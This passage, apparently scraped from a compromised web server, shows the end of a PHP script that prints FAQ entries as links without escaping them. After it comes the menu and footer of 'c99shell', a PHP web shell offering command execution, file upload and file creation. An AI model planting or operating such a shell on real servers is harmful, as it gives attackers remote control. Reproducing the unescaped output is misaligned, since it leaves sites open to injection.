$line fgets($f);
            if (
preg_match("/^(.*)\t(.*)$/",$line,$g))
            {
                print 
"<li><a href='faq.php?inx=$inx'>".$g[1]."</a></li>\n";
                
$inx++;
            }
        }
        
fclose($f);
    }    
}


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--